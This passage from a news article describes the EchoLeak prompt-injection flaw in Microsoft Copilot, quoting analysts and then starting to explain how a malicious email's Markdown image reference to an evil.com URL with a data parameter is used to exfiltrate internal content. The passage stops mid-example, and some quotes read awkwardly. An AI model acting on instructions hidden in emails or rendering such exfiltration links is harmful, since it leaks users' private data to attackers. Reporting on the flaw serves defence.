“This is the core force of AI, pure weaponization of contextual understanding,” said Abhishek Anant Garg, an analyst at QKS Group. “The enterprise security struggle is because it is built for malicious code, not a harmless language, but like a weapon.”
This vulnerability represents a major threat, warned Nader Henein, vice president analyst at Gartner. “Given the complexity of AI assistants and rag-based services, it’s definitely not the last time we’ve seen it.”
Echoleak utilization mechanism
The Echoleak vulnerability exploits Copilot’s ability to process trusted internal data such as email, team chat, and OneDrive files and distrusted external input such as inbound email. The attack begins with a malicious email with a specific Markdown syntax, “Like![Image alt text][ref] [ref]: https://www.evil.com?param=
